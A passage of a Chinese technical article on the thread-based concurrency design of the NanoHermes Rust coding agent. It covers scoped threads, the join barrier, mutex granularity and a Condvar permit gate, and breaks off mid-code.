<li>没有 async 的世界：线程就是原语</li>
<li>为什么不是 async：四条理由与三项代价</li>
<li>一轮的结构：join 屏障</li>
<li>一张总表：并发的七个数字</li>
<li>std::thread::scope 解决了什么</li>
<li>为什么 Agent 必须是 Sync</li>
<li>共享状态清单：Ctx 里的五把锁</li>
<li>Mutex 粒度：为什么 Board 用两把锁</li>
<li>Condvar 与 Gate：并发门的十二行实现</li>
<li>门的位置错了：先登记后排队</li>
<li>子代理：并行的第一类真实用户</li>
<li>子代理内部为什么又是串行</li>
<li>子代理的四处越界：中断、上限、模型、白名单</li>
<li>工具线程没有上限</li>
<li>结果顺序：为什么必须按调用顺序回填</li>
<li>一个线程 panic 了会怎样</li>
<li>不是所有工具都该并行</li>
<li>并发下的审批：stdin 只有一份</li>
<li>后台任务：另一种并发</li>
<li>后台任务的第一个缺陷：stderr 从未被读走</li>
<li>后台任务的第二个缺陷：在锁里读到 EOF</li>
<li>管道背压：最容易误判成死锁的现象</li>
<li>中断：抢占点只有一个</li>
<li>中断与并发的交叉：Ctrl-C 打断的是哪一层</li>
<li>守护进程：并发为零</li>
<li>为什么单线程 daemon 仍然能用</li>
<li>七个可以修的缺陷</li>
<li>怎么验证并发真的正确</li>
<li>并发设计的六条原则</li>
<li>小结：并行是边界问题，不是性能问题</li>
</ul>
<h2>前言：并行不是为了快，是为了别让一轮卡死</h2>

先纠正一个常见误解：Agent 做并发，首要目标不是「跑得更快」。

一个 coding agent 的绝大多数时间花在两件事上：等模型返回，和等命令跑完。模型调用是串行的——你必须拿到这一轮的 <code>assistant</code> 消息，才知道要调哪些工具。所以真正能并行的窗口只有一个：<strong>同一次模型回复里给出的多个工具调用</strong>。

这个窗口很小，但它决定了体验的下限。模型一次给出四个 <code>read_file</code> 和一个 <code>grep</code>，如果串行执行，一次探索要等五倍的时间；如果其中一个 <code>run_command</code> 卡住（等一个永远不返回的服务），串行实现会把后面四个结果一起拖死。并行在这里的作用是<strong>把最慢的那个变成整批的耗时，而不是总和</strong>，同时让「一个慢工具」不再阻塞其他工具的结果。

但并行一旦引入，问题就从「快不快」变成「对不对」：结果顺序会不会错、共享状态会不会被踩、Ctrl-C 到底打在哪一层、一个线程挂了整轮会不会崩。NanoHermes 的答案很朴素：不用 async 运行时，就用 <code>std::thread::scope</code> 起线程，用一个 <code>join</code> 屏障收口，用一把计数门限制子代理数量。全文拆的就是这套朴素方案里每一处必须想清楚的地方。
<h2>结论先行：并发的四个层次</h2>

把「并行」这个词拆开，NanoHermes 里其实有四层不同的东西，混在一起谈就会得出错误结论。
<div class="table-scroll"><table>
<thead>
<tr>
<th>层次</th>
<th>实现</th>
<th>并发度</th>
<th>谁在等谁</th>
</tr>
</thead>
<tbody>
<tr>
<td>工具级</td>
<td><code>std::thread::scope</code> 每个 <code>tool_call</code> 一个线程</td>
<td>无上限</td>
<td>主线程等全部线程 join</td>
</tr>
<tr>
<td>子代理级</td>
<td><code>Gate::new(4)</code> + <code>Condvar</code></td>
<td>最多 4 个</td>
<td>抢到许可的线程等许可</td>
</tr>
<tr>
<td>命令级</td>
<td><code>run_command</code> 两个排空线程 + 25ms 轮询</td>
<td>2 个读线程</td>
<td>主线程等子进程退出</td>
</tr>
<tr>
<td>进程级</td>
<td><code>listener.incoming()</code> 同步处理</td>
<td>1</td>
<td>下一个请求等上一个跑完</td>
</tr>
</tbody>
</table></div>

四层的数字完全不同：工具层没有上限，子代理层是 4，命令层是 2，进程层是 1。所以「NanoHermes 支持多少并发」这个问题没有单一答案——正确答案是「一个守护进程一次服务一个会话，一个会话一轮最多并发执行模型给出的所有工具调用，其中子代理最多 4 个同时跑」。

这四层里最容易出事的是第一层，因为它是唯一没有上限的一层。后面会专门讲。
<h2>没有 async 的世界：线程就是原语</h2>

整个并发实现依赖的标准库能力只有五个：
<div class="table-scroll"><table>
<thead>
<tr>
<th>原语</th>
<th>用在哪</th>
<th>为什么用它</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>std::thread::scope</code></td>
<td>一轮内的工具调用</td>
<td>能借用 <code>&amp;Agent</code>，不需要 <code>Arc</code></td>
</tr>
<tr>
<td><code>Mutex</code></td>
<td><code>Board</code>、<code>TaskManager</code>、<code>TodoList</code>、MCP 管道</td>
<td>保护可变状态</td>
</tr>
<tr>
<td><code>Condvar</code></td>
<td><code>Gate</code></td>
<td>许可不足时阻塞等待</td>
</tr>
<tr>
<td><code>AtomicBool</code></td>
<td><code>interrupt::INTERRUPTED</code></td>
<td>信号处理器里只能原子写</td>
</tr>
<tr>
<td><code>mpsc::channel</code></td>
<td>MCP 的请求/响应配对</td>
<td>读线程把响应投递给等待方</td>
</tr>
</tbody>
</table></div>

没有 <code>tokio</code>，没有 <code>async-std</code>，没有 <code>futures</code>。整个 <code>agent</code> crate 的依赖里找不到一个异步运行时。这在 2026 年看起来有点逆潮流，但对这个项目是合理选择——原因下一节讲。

代价也要说清楚：没有取消令牌，所以中断只能在「步骤边界」检查，一个跑着的工具没法被打断；没有 <code>select!</code>，所以「命令输出和超时哪个先到」要靠 25ms 轮询；没有结构化并发，所以一个线程 panic 只能靠 <code>join</code> 的返回值兜。
<h2>为什么不是 async：四条理由与三项代价</h2>

先讲理由，四条都是这个项目的具体约束，不是「线程更简单」这种泛泛之谈。

<strong>第一，工具几乎全是阻塞调用。</strong> <code>read_file</code> 是 <code>std::fs</code>，<code>run_command</code> 是 <code>Command::spawn</code> 加管道读取，<code>git</code> 是子进程，<code>web_fetch</code> 是 <code>ureq</code> 的同步 HTTP。这些操作在 async 里要么用 <code>spawn_blocking</code> 包起来（等于还是线程），要么换成异步版的库（<code>tokio::fs</code>、<code>reqwest</code>），后者会把依赖树扩大一个数量级。对一个「单二进制、零运行时、能塞进 5 MB 里」的 CLI 来说，这个交换不划算。

<strong>第二，并发窗口天然有界。</strong> 一次模型回复里的工具调用数量是有限的（实践中 1 到 8 个居多），而且每轮结束都要 join 全部线程才能拼消息。这意味着线程数量不会随时间累积——不存在「长连接持有线程」的问题。线程池要解决的正是「线程生命周期长于任务」的场景，这里不存在。

<strong>第三，barrier 让状态管理变简单。</strong> 因为每轮有一个 join 屏障，<code>self.messages</code> 在整个并行期间都是只读的。主线程在 <code>join</code> 全部返回之后才写历史。这一点极其重要：它意味着对话历史不需要任何锁。如果换成 async 加 <code>select!</code>，某个工具的 future 可能和历史写入交错，你就必须给历史加锁，或者引入更复杂的所有权设计。

<strong>第四，编译期就能验证。</strong> <code>Agent</code> 要能被作用域线程共享，Rust 会强制它 <code>Sync</code>。任何一个字段忘了加 <code>Mutex</code>，编译器直接报错，不会等到线上才发现数据竞争。async 方案的等价检查是 <code>Send</code>，但因为 <code>await</code> 点可以出现在任何地方，跨 <code>await</code> 持有 <code>MutexGuard</code> 这类问题编译器帮不了你。

代价同样要认：
<div class="table-scroll"><table>
<thead>
<tr>
<th>代价</th>
<th>具体表现</th>
<th>缓解方式</th>
</tr>
</thead>
<tbody>
<tr>
<td>无法中途取消</td>
<td>工具跑起来就只能等它返回</td>
<td>给命令设超时（默认 120s，上限 3600s）</td>
</tr>
<tr>
<td>线程栈开销</td>
<td>每个线程默认 2 MiB 虚拟栈</td>
<td>工具调用数量有界，实际 RSS 远小于峰值</td>
</tr>
<tr>
<td>阻塞门浪费线程</td>
<td>排队等许可的子代理占着一个 OS 线程</td>
<td>子代理上限 4，排队数受工具调用数限制</td>
</tr>
</tbody>
</table></div>

第二项值得展开：2 MiB 是虚拟地址空间，不是物理内存。Linux 上线程栈是惰性分配的，真正提交的只有实际用到的几页。所以「20 个工具线程 = 40 MB」这个算法是错的，实际 RSS 增加通常在几百 KB 量级。真正贵的不是栈，是每个线程持有的缓冲区（比如 <code>read_capped</code> 里 16 KiB 的读缓冲）。
<h2>一轮的结构：join 屏障</h2>

把并发塞进一轮的代码只有十几行，但每一行都有原因：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">results</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">tool_calls</span><span class="p">.</span><span class="n">len</span><span class="p">()</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="fm">vec!</span><span class="p">[</span><span class="bp">self</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="o">&amp;</span><span class="n">turn</span><span class="p">.</span><span class="n">tool_calls</span><span class="p">[</span><span class="mi">0</span><span class="p">])]</span>
<span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="c1">// 借用成 &amp;Agent，让作用域线程共享（execute 取 &amp;self，Agent 是 Sync）</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">this</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">Agent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">;</span>
<span class="w">    </span><span class="n">std</span><span class="p">::</span><span class="n">thread</span><span class="p">::</span><span class="n">scope</span><span class="p">(</span><span class="o">|</span><span class="n">s</span><span class="o">|</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="n">handles</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">_</span><span class="o">&gt;</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">turn</span>
<span class="w">            </span><span class="p">.</span><span class="n">tool_calls</span>
<span class="w">            </span><span class="p">.</span><span class="n">iter</span><span class="p">()</span>
<span class="w">            </span><span class="p">.</span><span class="n">map</span><span class="p">(</span><span class="o">|</span><span class="n">call</span><span class="o">|</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">spawn</span><span class="p">(</span><span class="k">move</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">this</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">call</span><span class="p">)))</span>
<span class="w">            </span><span class="p">.</span><span class="n">collect</span><span class="p">();</span>
<span class="w">        </span><span class="n">handles</span>
<span class="w">            </span><span class="p">.</span><span class="n">into_iter</span><span class="p">()</span>
<span class="w">            </span><span class="p">.</span><span class="n">map</span><span class="p">(</span><span class="o">|</span><span class="n">h</span><span class="o">|</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="n">h</span><span class="p">.</span><span class="n">join</span><span class="p">()</span>
<span class="w">                    </span><span class="p">.</span><span class="n">unwrap_or_else</span><span class="p">(</span><span class="o">|</span><span class="n">_</span><span class="o">|</span><span class="w"> </span><span class="s">&quot;ERROR: tool thread panicked&quot;</span><span class="p">.</span><span class="n">to_string</span><span class="p">())</span>
<span class="w">            </span><span class="p">})</span>
<span class="w">            </span><span class="p">.</span><span class="n">collect</span><span class="p">()</span>
<span class="w">    </span><span class="p">})</span>
<span class="p">};</span>
</code></pre></div>


四个设计点：

<strong>单调用走快路径。</strong> <code>tool_calls.len() == 1</code> 时不起线程，直接在当前线程执行。这是最常见的情况（模型一次只调一个工具），省掉线程创建和 join 的开销，也省掉一次 <code>Sync</code> 检查带来的心智负担。

<strong><code>this: &amp;Agent = self</code> 这行不是多余的。</strong> <code>std::thread::scope</code> 的闭包捕获的是 <code>&amp;mut self</code>（因为 <code>self</code> 是 <code>&amp;mut Agent</code>），而 <code>spawn</code> 里的闭包需要 <code>move</code>。显式重借用成 <code>&amp;Agent</code> 之后，编译器知道移动的是共享引用而不是可变引用，<code>Agent</code> 只需要满足 <code>Sync</code>。不写这行，编译器会报「cannot move out of <code>self</code>」。

<strong><code>handles.into_iter().map(join)</code> 保证了顺序。</strong> 结果向量按下标对齐 <code>tool_calls</code>，和哪个线程先跑完无关。这是下一节「结果顺序」的基础。

<strong><code>unwrap_or_else</code> 把 panic 变成字符串。</strong> <code>join</code> 返回 <code>Result</code>，线程 panic 时是 <code>Err</code>。这里不 <code>unwrap</code>，而是产出一条错误结果——理由在「一个线程 panic 了会怎样」一节。

整个结构的本质是一个<strong>每轮重建的 fork-join</strong>：起 N 个线程，等 N 个全部结束，拿 N 个字符串，拼进历史。没有线程池，没有任务队列，没有长时间存活的 worker。这种「用完就扔」的模型牺牲了创建开销（Linux 上一个线程创建约几十微秒），换来了状态管理的极大简化。
<h2>一张总表：并发的七个数字</h2>

把所有和并发相关的常量集中起来，能看到一套有意为之的分层：
<div class="table-scroll"><table>
<thead>
<tr>
<th>约束</th>
<th>值</th>
<th>位置</th>
<th>管什么</th>
<th>超限后</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>MAX_PARALLEL_SUBAGENTS</code></td>
<td>4</td>
<td><code>agent.rs</code></td>
<td>同时跑几个子代理</td>
<td>阻塞排队</td>
</tr>
<tr>
<td>工具线程数</td>
<td>无上限</td>
<td><code>run()</code> 的 scope</td>
<td>一轮起几个线程</td>
<td>无（由模型输出决定）</td>
</tr>
<tr>
<td><code>max_iterations</code></td>
<td>40</td>
<td><code>Config</code> 默认</td>
<td>一轮最多几次模型往返</td>
<td>停止并告警</td>
</tr>
<tr>
<td><code>RESULT_PREVIEW</code></td>
<td>500</td>
<td><code>board.rs</code></td>
<td>结果在任务板的可见量</td>
<td>截断加省略号</td>
</tr>
<tr>
<td>命令超时</td>
<td>120s（1–3600）</td>
<td><code>run_command</code></td>
<td>单条命令最长运行</td>
<td>杀进程并标注</td>
</tr>
<tr>
<td>MCP 请求超时</td>
<td>60s</td>
<td><code>mcp.rs</code></td>
<td>一次 MCP 调用等待</td>
<td>返回超时错误</td>
</tr>
<tr>
<td>守护进程并发</td>
<td>1</td>
<td><code>main.rs</code></td>
<td>同时在服务的请求</td>
<td>排队（TCP backlog）</td>
</tr>
</tbody>
</table></div>

三个观察：

<strong>只有子代理有并发上限。</strong> 工具线程和守护进程都没有。前者依赖「模型给出的调用数量有限」这个经验假设，后者是明确的单线程设计。两个地方都没有硬保护。

<strong>4 这个数字的来历是资源而不是性能。</strong> 子代理每个都要独立发一次完整的模型请求，4 个并发意味着瞬时 4 份上下文在飞行。上下文预算是 120,000 字符（<code>CONTEXT_CHAR_BUDGET</code>），4 份就是 480,000 字符的内存峰值，加上每份都要序列化成 JSON 发出去。再高就开始和主对话抢内存与网络带宽。

<strong>40 轮和 4 个并发叠起来是 160。</strong> 理论上一个子代理可以跑 40 轮、每轮再发多个工具调用，四个子代理同时跑。这不是设计目标，而是上界——一个失控的子代理最多消耗 40 次模型请求，四个最多 160 次。这个上界之所以重要，是因为它给出了「一次误触发的最坏成本」。
<h2>std::thread::scope 解决了什么</h2>

普通 <code>thread::spawn</code> 要求闭包 <code>'static</code>，也就是不能借用栈上的东西。要用 <code>&amp;Agent</code>，就得把 <code>Agent</code> 塞进 <code>Arc</code>，然后每个工具调用都要 <code>Arc::clone</code>。<code>scope</code> 的作用是引入一个词法作用域：作用域内的线程可以借用作用域外的栈变量，作用域结束时自动 join 所有线程。

三个具体好处：

<strong>没有 <code>Arc</code> 开销。</strong> <code>Agent</code> 里有一个 <code>Vec&lt;Value&gt;</code> 的对话历史、一个 <code>Ctx</code>、一个可选的 MCP 管理器。包进 <code>Arc</code> 本身不贵，但 <code>Arc&lt;Agent&gt;</code> 会让每个工具都想「能不能拿可变引用」，从而诱发 <code>Arc&lt;Mutex&lt;Agent&gt;&gt;</code> 这种把整个 agent 串行化的退化设计。<code>scope</code> 强制你保持 <code>&amp;Agent</code> 共享不可变，共享可变状态只能落在 <code>Ctx</code> 内部的锁上——这恰好是正确的粒度。

<strong>作用域结束一定 join。</strong> 就算中间 <code>?</code> 提前返回，<code>scope</code> 也会在退出时等所有线程结束。这保证了「不可能有线程还在写状态而主线程已经继续」。普通 <code>spawn</code> 你需要自己维护 <code>JoinHandle</code> 列表，漏一个就是悬空的后台任务。

<strong>panic 不会泄漏线程。</strong> 线程 panic 时 <code>scope</code> 依然会 join（拿到 <code>Err</code>），不会留下一个已崩溃但未回收的线程。

需要注意 <code>scope</code> 不提供的是：<strong>线程数量限制</strong>。代码里是 <code>turn.tool_calls.iter().map(...)</code>，调用几个就起几个。模型一次返回 20 个工具调用，就起 20 个线程。这是后面「工具线程没有上限」要展开的缺陷。
<h2>为什么 Agent 必须是 Sync</h2>

<code>Agent</code> 能不能被多个线程共享，不是设计选择，是编译器的强制要求。<code>scope</code> 里 <code>this: &amp;Agent</code> 被 <code>move</code> 进闭包，闭包要 <code>Send</code>，因此 <code>&amp;Agent</code> 要 <code>Send</code>，等价于 <code>Agent: Sync</code>。

<code>Agent</code> 的字段里，只有 <code>Ctx</code> 是共享可变状态的载体：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Ctx</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">root</span><span class="p">:</span><span class="w"> </span><span class="nc">PathBuf</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">auto_approve</span><span class="p">:</span><span class="w"> </span><span class="kt">bool</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">approval</span><span class="p">:</span><span class="w"> </span><span class="nc">crate</span><span class="p">::</span><span class="n">config</span><span class="p">::</span><span class="n">ApprovalPolicy</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">sandbox</span><span class="p">:</span><span class="w"> </span><span class="nc">crate</span><span class="p">::</span><span class="n">config</span><span class="p">::</span><span class="n">SandboxMode</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">max_output</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">tasks</span><span class="p">:</span><span class="w"> </span><span class="nc">TaskManager</span><span class="p">,</span><span class="w">       </span><span class="c1">// Mutex&lt;HashMap&lt;String, Task&gt;&gt;</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">todos</span><span class="p">:</span><span class="w"> </span><span class="nc">TodoList</span><span class="p">,</span><span class="w">          </span><span class="c1">// Mutex&lt;Vec&lt;Todo&gt;&gt;</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">skills</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Skill</span><span class="o">&gt;</span><span class="p">,</span><span class="w">       </span><span class="c1">// 只读</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">board</span><span class="p">:</span><span class="w"> </span><span class="nc">Board</span><span class="p">,</span><span class="w">             </span><span class="c1">// Mutex&lt;Vec&lt;Job&gt;&gt; + Mutex&lt;u64&gt;</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">gate</span><span class="p">:</span><span class="w"> </span><span class="nc">Gate</span><span class="p">,</span><span class="w">               </span><span class="c1">// Mutex&lt;usize&gt; + Condvar</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">memory_dir</span><span class="p">:</span><span class="w"> </span><span class="nb">Option</span><span class="o">&lt;</span><span class="n">PathBuf</span><span class="o">&gt;</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div>


前四个字段是不可变的（<code>root</code>、<code>auto_approve</code>、<code>approval</code>、<code>sandbox</code>），后三个是锁，<code>skills</code> 是只读。<code>memory_dir</code> 只是路径，真正的记忆库读写发生在 <code>memory.rs</code> 里，走的是文件系统——同一时刻两个线程写同一个记忆文件会有丢失更新的风险，这一点后面「不是所有工具都该并行」里还会提。

<code>Agent</code> 的其余字段——<code>messages</code>、<code>usage</code>、<code>style</code>、<code>session</code>、<code>mcp</code>——要么只在并行区之外被访问（<code>messages</code>、<code>usage</code>、<code>session</code>），要么内部自带锁（<code>mcp</code> 的 <code>Arc&lt;Mutex&lt;...&gt;&gt;</code>）。<code>style</code> 里包的 <code>UiSink</code> 是 <code>Arc&lt;dyn Fn + Send + Sync&gt;</code>，本身就是线程安全的。

这个字段划分直接决定了并发的安全性：<strong>并行区里能改的东西，只有 <code>Ctx</code> 里那五把锁保护的部分</strong>。任何需要写 <code>messages</code> 的逻辑都必须回到主线程，而主线程在 join 屏障里等着。这是「用结构换正确性」的典型做法。
<h2>共享状态清单：Ctx 里的五把锁</h2>

逐个看这五把锁保护什么，会发现问题不是「有没有锁」，而是「锁的粒度对不对」。
<div class="table-scroll"><table>
<thead>
<tr>
<th>锁</th>
<th>保护的数据</th>
<th>典型操作</th>
<th>争用程度</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>TaskManager.tasks</code></td>
<td><code>HashMap&lt;String, Task&gt;</code></td>
<td>起任务、读输出、杀任务</td>
<td>中（每个后台工具调用）</td>
</tr>
<tr>
<td><code>TodoList.items</code></td>
<td><code>Vec&lt;Todo&gt;</code></td>
<td>整体替换、读取</td>
<td>低</td>
</tr>
<tr>
<td><code>Board.jobs</code></td>
<td><code>Vec&lt;Job&gt;</code></td>
<td>登记、结算、快照</td>
<td>中（每个子代理）</td>
</tr>
<tr>
<td><code>Board.seq</code></td>
<td><code>u64</code></td>
<td>自增取号</td>
<td>高（每个子代理，但极短）</td>
</tr>
<tr>
<td><code>Gate.active</code></td>
<td><code>usize</code></td>
<td>取许可、还许可</td>
<td>高（每个子代理）</td>
</tr>
</tbody>
</table></div>

争用程度最高的是后两把，但它们的临界区都只有几行——<code>Board::seq</code> 是 <code>*seq += 1</code> 加一次 <code>format!</code>，<code>Gate::active</code> 是一次比较加一次自增。真正可能长时间持有的是 <code>TaskManager.tasks</code>，因为它把「读管道」放在锁里，这一点后面专门讲。

<code>Board</code> 用两把锁而不是一把，是个值得说的细节：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Board</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">jobs</span><span class="p">:</span><span class="w"> </span><span class="nc">Mutex</span><span class="o">&lt;</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Job</span><span class="o">&gt;&gt;</span><span class="p">,</span>
<span class="w">    </span><span class="n">seq</span><span class="p">:</span><span class="w"> </span><span class="nc">Mutex</span><span class="o">&lt;</span><span class="kt">u64</span><span class="o">&gt;</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div>


如果合并成一把锁，<code>start()</code> 里就要持锁做 <code>format!("agent-{seq}")</code>（一次堆分配）和 <code>task.to_string()</code>（可能很长）。分成两把之后，取号和登记各自临界区极短，而且 <code>start()</code> 里两次 <code>lock()</code> 的顺序是固定的（先 <code>seq</code> 后 <code>jobs</code>），不存在反向获取路径，所以不会死锁。

代价是「取号和登记之间不是原子的」：并发 <code>start()</code> 时可能出现 <code>agent-3</code> 先被登记、<code>agent-2</code> 后被登记的顺序。<code>list()</code> 返回的是登记顺序，所以任务板上的 id 可能不是单调递增的。这是个无害的瑕疵——id 只用来标识，不用来排序。
<h2>Mutex 粒度：为什么 Board 用两把锁</h2>

延续上一节的思路，锁粒度设计有三个层次，<code>Ctx</code> 里三种都有：

<strong>粗粒度：一把锁保护整个集合。</strong> <code>TodoList</code> 和 <code>TaskManager</code> 都是这种。<code>todo_write</code> 语义是「整体替换」，所以一把锁最自然——读和写都需要看到完整列表。

<strong>中粒度：一个逻辑实体一把锁。</strong> <code>Board</code> 把「取号」和「作业表」分开。取号是高频极短操作，作业表是低频较长操作，混在一起会让 <code>start()</code> 的临界区被 <code>task</code> 字符串的复制拖长。

<strong>细粒度：每个条目一把锁。</strong> NanoHermes 没有用这种。在 <code>TaskManager</code> 里，如果每个 <code>Task</code> 自带一把锁，<code>task_output(task1)</code> 就不会阻塞 <code>task_kill(task2)</code>。这正是 <code>TaskManager</code> 当前最大的问题——后面会展开。

判断粒度是否合适的标准不是「锁够不够细」，而是「<strong>有没有一条路径会在持锁期间做阻塞 I/O</strong>」。<code>Board</code> 的临界区全是内存操作，粒度怎么分都对；<code>TaskManager</code> 的 <code>output()</code> 在锁里调 <code>read()</code>，这时候粒度就是错的，再细也没用，必须改结构。
<h2>Condvar 与 Gate：并发门的十二行实现</h2>

限制子代理并发的是一个手写的计数信号量，全部实现不到二十行：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Gate</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">active</span><span class="p">:</span><span class="w"> </span><span class="nc">Mutex</span><span class="o">&lt;</span><span class="kt">usize</span><span class="o">&gt;</span><span class="p">,</span>
<span class="w">    </span><span class="n">cv</span><span class="p">:</span><span class="w"> </span><span class="nc">Condvar</span><span class="p">,</span>
<span class="w">    </span><span class="n">max</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="p">,</span>
<span class="p">}</span>

<span class="k">impl</span><span class="w"> </span><span class="n">Gate</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">new</span><span class="p">(</span><span class="n">max</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nc">Self</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">Gate</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">active</span><span class="p">:</span><span class="w"> </span><span class="nc">Mutex</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span>
<span class="w">            </span><span class="n">cv</span><span class="p">:</span><span class="w"> </span><span class="nc">Condvar</span><span class="p">::</span><span class="n">new</span><span class="p">(),</span>
<span class="w">            </span><span class="n">max</span><span class="p">:</span><span class="w"> </span><span class="nc">max</span><span class="p">.</span><span class="n">max</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>

<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">acquire</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nc">GateGuard</span><span class="o">&lt;&#39;</span><span class="nb">_</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">active</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">active</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">        </span><span class="k">while</span><span class="w"> </span><span class="o">*</span><span class="n">active</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">max</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">active</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">cv</span><span class="p">.</span><span class="n">wait</span><span class="p">(</span><span class="n">active</span><span class="p">).</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">        </span><span class="o">*</span><span class="n">active</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w">        </span><span class="n">GateGuard</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">gate</span><span class="p">:</span><span class="w"> </span><span class="nc">self</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


三个细节值得单独说。

<strong><code>while</code> 而不是 <code>if</code>。</strong> <code>Condvar::wait</code> 可能被虚假唤醒（spurious wakeup），返回时条件不一定成立。用 <code>while</code> 循环重新检查是标准写法。很多教程用 <code>if</code>，在 Linux 上通常也能跑，但那是运气。

<strong><code>max.max(1)</code>。</strong> 配置成 0 会被抬成 1，否则 <code>acquire()</code> 永远等不到许可，整轮死锁。这是一个「宁可多跑一个，也不要卡死」的降级选择。

<strong><code>GateGuard</code> 用 <code>Drop</code> 还许可。</strong>
<div class="codehilite"><pre><span></span><code><span class="k">impl</span><span class="w"> </span><span class="nb">Drop</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">GateGuard</span><span class="o">&lt;&#39;</span><span class="nb">_</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">fn</span><span class="w"> </span><span class="nf">drop</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">active</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">gate</span><span class="p">.</span><span class="n">active</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">        </span><span class="o">*</span><span class="n">active</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">active</span><span class="p">.</span><span class="n">saturating_sub</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
